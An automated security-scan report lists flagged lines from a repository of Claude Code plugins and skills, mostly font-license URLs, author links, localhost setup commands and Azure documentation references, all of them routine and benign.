    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/DMMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt

  • Network accessline 4
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 6
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Gloock-OFL.txt

  • Network accessline 1
    Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt

  • Network accessline 1
    Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Italiana-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Jura-OFL.txt

  • Network accessline 1
    Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt

  • Network accessline 1
    Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville.
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Lora-OFL.txt

  • Network accessline 1
    Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora".
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt

  • Network accessline 1
    Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Outfit-OFL.txt

  • Network accessline 1
    Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt

  • Network accessline 1
    Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt

  • Network accessline 1
    Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt

  • Network accessline 1
    Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Tektur-OFL.txt

  • Network accessline 1
    Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt

  • Network accessline 1
    Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt

  • Network accessline 1
    Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/penpot-uiux-design/SKILL.md

  • Network accessline 28
    - Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui
  • Network accessline 29
    - If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in
  • Network accessline 30
    - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`.
  • Network accessline 31
    - In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI.
  • Network accessline 32
    - VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.

harness/claude-code/plugins/ux-design-tooling/skills/penpot-uiux-design/references/setup-troubleshooting.md

  • Network accessline 26
    - **Node.js v22+** - [Download](https://nodejs.org/)
  • Network accessline 42
    # Clone the repository git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 43
    git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 66
    MCP Server listening on http://localhost:4401
  • Network accessline 67
    Plugin server listening on http://localhost:4400
  • Network accessline 73
    1. Open [Penpot](https://design.penpot.app/) in your browser
  • Network accessline 75
    3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 76
    4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"**
  • Network accessline 77
    5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 92
    "servers": {       "penpot": {         "url": "http://localhost:4401/sse"
  • Network accessline 93
    "penpot": {         "url": "http://localhost:4401/sse"       }
  • Network accessline 94
    "url": "http://localhost:4401/sse"
  • Network accessline 106
    "servers": {       "penpot": {         "url": "http://localhost:4401/mcp"
  • Network accessline 107
    "penpot": {         "url": "http://localhost:4401/mcp"       }
  • Network accessline 108
    "url": "http://localhost:4401/mcp"
  • Network accessline 135
    "penpot": {          "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 136
    "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]        }
  • Network accessline 137
    "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 148
    claude mcp add penpot -t http http://localhost:4401/mcp
  • Network accessline 207
    # Test the SSE endpoint    curl http://localhost:4401/sse
  • Network accessline 208
    curl http://localhost:4401/sse
  • Network accessline 210
    # Test the MCP endpoint    curl http://localhost:4401/mcp
  • Network accessline 211
    curl http://localhost:4401/mcp
  • Network accessline 237
    1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Network accessline 238
    2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Dangerous shell operationline 275
    rm -rf node_modules
  • Network accessline 309
    curl -s http://localhost:4401/sse | head -1
  • Network accessline 326
    - **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues)
  • Network accessline 327
    - **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions)
  • Network accessline 328
    - **Penpot Community**: [community.penpot.app](https://community.penpot.app/)

harness/claude-code/plugins/visual-pr/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/visual-pr/skills/pr-screenshots/SKILL.md

  • Network accessline 97
    $base = "https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}"
  • Network accessline 115
    ![description](https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}/pullRequests/{prId}/attachments/screenshot.png)

harness/claude-code/plugins/visual-pr/skills/ui-screenshots/SKILL.md

  • Network accessline 48
    async def capture(url="http://localhost:3000", out="screenshot-raw.png", width=1400, height=5000):
  • Network accessline 248
    - http://localhost:3000

harness/claude-code/plugins/web-framework-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/web-framework-development/skills/gsap-framer-scroll-animation/SKILL.md

  • Network accessline 9
    metadata:   author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005"
  • Network accessline 10
    author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 11
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 182
    - [Author profile](https://github.com/utkarsh232005)

harness/claude-code/plugins/web-framework-development/skills/gsap-framer-scroll-animation/references/gsap.md

  • Network accessline 45
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/gsap.min.js"></script>
  • Network accessline 46
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/ScrollTrigger.min.js"></script>

harness/claude-code/plugins/web-framework-development/skills/markstream-install/SKILL.md

  • Network accessline 11
    JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+,     Next.js, Angular 20+, or Svelte 5.   documentation: "https://markstream.simonhe.me/"
  • Network accessline 12
    Next.js, Angular 20+, or Svelte 5.   documentation: "https://markstream.simonhe.me/"   source: "https://github.com/Simon-He95/markstream-vue"
  • Network accessline 13
    documentation: "https://markstream.simonhe.me/"
  • Network accessline 14
    source: "https://github.com/Simon-He95/markstream-vue"
  • Network accessline 41
    Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue .
  • Network accessline 176
    - [Installation](https://markstream.simonhe.me/guide/installation)
  • Network accessline 177
    - [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming)
  • Network accessline 178
    - [Performance](https://markstream.simonhe.me/guide/performance)
  • Network accessline 179
    - [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting)
  • Network accessline 180
    - [Component overrides](https://markstream.simonhe.me/guide/component-overrides)

harness/claude-code/plugins/where-was-i/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"
  • Network accessline 6
    "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"   },
  • Network accessline 7
    "url": "https://github.com/aaronpowell"

harness/claude-code/plugins/windows-app-storage-inspector-cleanup/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Daniel Scott-Raynsford",     "url": "https://github.com/PlagueHO"
  • Network accessline 6
    "name": "Daniel Scott-Raynsford",     "url": "https://github.com/PlagueHO"   },
  • Network accessline 7
    "url": "https://github.com/PlagueHO"

harness/claude-code/plugins/work-hub/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"
  • Network accessline 6
    "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"   },
  • Network accessline 7
    "url": "https://github.com/jamesmontemagno"

harness/claude-code/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md

  • Network accessline 46
    - What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)

harness/claude-code/skills/acquire-codebase-knowledge/scripts/scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/acreadiness-assess/report-template.html

  • Network accessline 222
    <footer>     Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 223
    Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 224
    · powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.

harness/claude-code/skills/ad-campaign-analyzer/SKILL.md

  • Network accessline 12
    Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or     screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: "https://github.com/gooseworks-ai/goose-skill
  • Network accessline 13
    screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: "https://github.com/gooseworks-ai/goose-skills"   version: "'1.0'"
  • Network accessline 14
    source: "https://github.com/gooseworks-ai/goose-skills"
  • Network accessline 222
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)

harness/claude-code/skills/add-educational-comments/SKILL.md

  • Network accessline 50
    | Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | 
  • Network accessline 52
    | Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. |
  • Network accessline 156
    - [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)

harness/claude-code/skills/adobe-illustrator-scripting/references/extended-guide.md

  • Network accessline 821
    - [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`)
  • Network accessline 822
    - [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation

harness/claude-code/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/agent-governance/SKILL.md

  • Network accessline 156
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 157
    - [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 158
    - [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)

harness/claude-code/skills/agent-owasp-compliance/SKILL.md

  • Dangerous shell operationline 60
    | ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex
  • Dangerous shell operationline 61
    | ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with
  • Network accessline 139
    - [OWASP Agentic AI Threats](https://genai.owasp.org/)
  • Network accessline 140
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 141
    - [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)

harness/claude-code/skills/agent-skill-stack/references/security-installation.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/claude-code/skills/agent-skill-stack/scripts/inventory_skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 32
    [Credential-related source omitted]

harness/claude-code/skills/agent-skill-stack/scripts/project_profile.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/agent-skill-stack/scripts/render_stack_card.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 80
    parts = [         f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
  • Network accessline 81
    f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',

harness/claude-code/skills/agent-skill-stack/scripts/skill_index.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/agent-skill-stack/scripts/stage_install.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/agent-supply-chain/SKILL.md

  • Network accessline 184
    - [OpenSSF SLSA](https://slsa.dev/)
  • Network accessline 185
    - [npm Provenance](https://docs.npmjs.com/generating-provenance-statements)
  • Network accessline 186
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 187
    - [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)

harness/claude-code/skills/ai-ready/SKILL.md

  • Network accessline 26
    This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`.
  • Network accessline 99
    - [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth.
  • Network accessline 108
    - [John Papa](https://github.com/johnpapa)
  • Network accessline 109
    - [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)

harness/claude-code/skills/anti-ui-slop/SKILL.md

  • Network accessline 4
    Prevent generic web and iOS interfaces by extracting product-specific design decisions from   repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this   skill when building, refactoring, or reviewing U
  • Network accessline 5
    repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this   skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before   choosing a layout, or when the user wants a
  • Network accessline 6
    skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before
  • Network accessline 27
    - Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available.
  • Network accessline 48
    Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette.
  • Network accessline 154
    - [UIZZE public catalogue](https://uizze.com)

harness/claude-code/skills/api-testing/SKILL.md

  • Network accessline 123
    - [OpenAPI Specification](https://spec.openapis.org/oas/latest.html)
  • Network accessline 124
    - [GraphQL specification](https://spec.graphql.org/)
  • Network accessline 125
    - [JSON Schema](https://json-schema.org/specification)
  • Network accessline 126
    - [RFC 9110: HTTP Semantics](https://www.rfc-editor.org/rfc/rfc9110.html)

harness/claude-code/skills/apim-ai-gateway/SKILL.md

  • Network accessline 133
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 134
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 135
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 136
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/claude-code/skills/apim-ai-gateway/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/apim-ai-gateway/references/patterns.md

  • Network accessline 13
    - APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance))
  • Network accessline 65
    az apim api import    --service-name <apim-name>    --resource-group <rg>    --api-id azure-openai-api    --path "openai"    --specification-format OpenApi    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs
  • Network accessline 69
    --path "openai" \   --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json"
  • Network accessline 70
    --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \   --service-url "
  • Network accessline 71
    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \
  • Network accessline 81
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 82
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 83
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 116
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 117
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 118
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 119
    "https://aoai-westus.openai.azure.com"
  • Network accessline 124
    }" />     <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 125
    <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 126
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 134
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 135
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 136
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 137
    "https://aoai-westus.openai.azure.com"
  • Network accessline 177
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 178
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 179
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 216
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 217
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />

harness/claude-code/skills/apim-ai-gateway/references/policies.md

  • Network accessline 231
    <!-- 1. Authentication -->         <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 232
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 309
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 310
    - [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies)
  • Network accessline 311
    - [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)

harness/claude-code/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md

  • Access to secretsline 17
    [Credential-related source omitted]

harness/claude-code/skills/apim-ai-gateway/references/troubleshooting.md

  • Network accessline 17
    | Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us
  • Network accessline 18
    | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint
  • Network accessline 19
    | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) |
  • Network accessline 94
    # Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 95
    curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 212
    # Send request with tracing curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 213
    curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 256
    # 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 257
    curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 268
    - [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems)
  • Network accessline 269
    - [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics)
  • Network accessline 270
    - [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)

harness/claude-code/skills/appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/claude-code/skills/appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
